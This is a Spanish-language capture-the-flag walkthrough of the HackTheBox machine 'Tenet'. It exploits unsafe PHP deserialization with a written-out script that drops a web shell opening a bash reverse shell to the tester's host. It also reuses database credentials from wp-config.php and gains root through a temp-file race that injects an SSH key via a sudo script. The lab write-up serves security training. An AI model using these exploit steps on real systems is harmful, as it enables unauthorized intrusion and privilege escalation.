Tenet es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Tenet 10.10.10.223 a /etc/hosts como tenet.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Nmap 7.70 scan initiated Wed Jan 20 08:50:47 2021 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.223 Nmap scan report for 10.10.10.223 Host is up (0.054s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA) | 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA) |_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 20 08:51:35 2021 -- 1 IP address (1 host up) scanned in 48.34 seconds |
Visto el primer escaneo con nmap, observamos que sólo tenemos dos puertos disponibles, el acceso por ssh en el 22 para el cual no tenemos credenciales y un portal web en el puerto 80, así que comenzaremos por este.
Enumeracion
Accedemos al portal web en el puerto 80 y encontramos la página por defecto de apache:
Hemos accedido por ip, así que accederemos ahora a través del dns tenet.htb que añadimos previamente al fichero /etc/hosts y observamos un blog en wordpress
Revisamos el mismo y encontramos un comentario que parece indicar información acerca de un fichero de backup que deberemos investigar
Parece que existe un fichero llamado sator.php y un fichero de backup (sator.php.bak) así que buscamos el mismo pero no conseguimos dar con el en el portal.
Para verificar si existe, añadimos el subdominio sator.tenet.htb a nuestro fichero hosts y el subdominio existe, por lo que accedemos al fichero sator.php desde esta dirección obteniendo el siguiente resultado:
Por lo que podemos ver actualiza la base de datos en función de lo que obtiene en el fichero de usuarios, así que vamos a buscar el backup a ver si podemos obtener más información y conseguimos descargarlo como sator.php.bak y cuyo código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
<?php class DatabaseExport { public $user_file = 'users.txt'; public $data = ''; public function update_db() { echo '[+] Grabbing users from text file <br>'; $this-> data = 'Success'; } public function __destruct() { file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); echo '[] Database updated <br>'; // echo 'Gotta get this working properly...'; } } $input = $_GET['arepo'] ?? ''; $databaseupdate = unserialize($input); $app = new DatabaseExport; $app -> update_db(); ?> |
Por lo que vemos en el código, realiza una deserialización de los datos, pero no realiza ninguna comprobación o filtrado de los mismos por lo que podemos utilizar esta vulnerabilidad para tratar de explotar esta funcionalidad y conseguir acceso a la máquina.
Buscamos en google y encontramos un post donde trata la explotación de la deserialiación en php.
Así que para explotar la misma nos generamos un script en php que utilizaremos para obtener acceso en la máquina. Nuestro código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<?php class DatabaseExport { public $user_file = 'd4rkshell.php'; public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.6/4444 0>&1\'"); ?>'; public function __destruct() { file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); echo '[] Exploit Success. Search for d4rkshell.php <br>'; } } $url = "http://10.10.10.223/sator.php?arepo=" . urlencode(serialize(new DatabaseExport)); $resp = file_get_contents("$url"); $resp = file_get_contents("http://10.10.10.223/d4rkshell.php"); ?> |
En el mismo, y viendo el código del fichero de backup, podemos pasar datos serializados a través del parámetro arepo así que aprovecharemos esto para ejecutar una shell inversa en la máquina objetivo.
Dicho esto, levantamos nuestra escucha en netcat y ejecutamos nuestro script:
1 2 |
$ php getshell.php [] Exploit Success. Search for d4rkshell.php <br> |
Y conseguimos una shell con el usuario www-data
1 2 3 4 5 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.6] from tenet.htb [10.10.10.223] 29600 id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Revisamos el site de wordpress con este usuario y encontramos unas claves de acceso a mysql en el fichero wp-config.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'neil' ); /** MySQL database password */ define( 'DB_PASSWORD', 'Opera2112' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); define( 'WP_HOME', 'http://tenet.htb'); define( 'WP_SITEURL', 'http://tenet.htb'); |
Con estas claves, probaremos el acceso por ssh con el usuario neil que obtenemos.
Obteniendo la flag de user
Accedemos por ssh con las credenciales obtenidas del usuario neil y conseguiremos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
$ ssh neil@10.10.10.223 The authenticity of host '10.10.10.223 (10.10.10.223)' can't be established. ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.223' (ECDSA) to the list of known hosts. neil@10.10.10.223's password: Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed Jan 20 08:20:42 UTC 2021 System load: 0.0 Processes: 171 Usage of /: 16.3% of 22.51GB Users logged in: 0 Memory usage: 18% IP address for ens160: 10.10.10.223 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 0 packages can be updated. 0 of these updates are security updates. Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3 neil@tenet:~$ id uid=1001(neil) gid=1001(neil) groups=1001(neil) neil@tenet:~$ ls -l total 4 -r-------- 1 neil neil 33 Jan 19 22:02 user.txt neil@tenet:~$ cat user.txt 2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 neil@tenet:~$ |
Escalado de privilegios
En nuestro paso a root, vamos a comprobar en primer lugar si este usuario tiene la capacidad de realizar alguna acción como root:
1 2 3 4 5 6 |
neil@tenet:~$ sudo -l Matching Defaults entries for neil on tenet: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\: User neil may run the following commands on tenet: (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh |
Y vemos que tiene permisos para ejecutar el fichero enableSSH.sh, cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
#!/bin/bash checkAdded() { sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then /bin/echo "Successfully added $sshName to authorized_keys file!" else /bin/echo "Error in adding $sshName to authorized_keys file!" fi } checkFile() { if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then /bin/echo "Error in creating key file!" if [[ -f $1 ]]; then /bin/rm $1; fi exit 1 fi } addKey() { tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) (umask 110; touch $tmpName) /bin/echo $key >>$tmpName checkFile $tmpName /bin/cat $tmpName >>/root/.ssh/authorized_keys /bin/rm $tmpName } key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu" addKey checkAdded |
El script añade una clave en el fichero authorized_keys del usuario root, por lo que podemos utilizar el mismo para añadir nuestra propia clave al usuario y conseguir escalar privilegios.
Una vez hemos creado nuestra clave ssh, vamos a necesitar 3 terminales para poder continuar en este paso.
En la primera de las terminales, creamos un bucle que añada nuestra clave ssh en el fichero temporal creado en /tmp para este fin:
1 2 3 4 |
while true do echo "ssh key" | tee /tmp/ssh-* done |
En la segunda terminal ejecutaremos el script como sudo:
1 2 |
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh Successfully added root@ubuntu to authorized_keys file! |
Y en la tercera nos loguearemos como root con nuestra clave y después de varios intentos conseguimos que nuestra clave sea añadida al fichero authorized_keys.
Obteniendo la flag de root
Una vez que hemos conseguido añadir nuestra clave, nos logueamos como root.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ ssh -i root.pem root@10.10.10.223 Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed Jan 20 08:30:14 UTC 2021 System load: 0.46 Processes: 179 Usage of /: 16.3% of 22.51GB Users logged in: 1 Memory usage: 18% IP address for ens160: 10.10.10.223 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 0 packages can be updated. 0 of these updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed Jan 13 08:03:48 2021 root@tenet:~# id uid=0(root) gid=0(root) groups=0(root) root@tenet:~# cat root.txt 2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 root@tenet:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace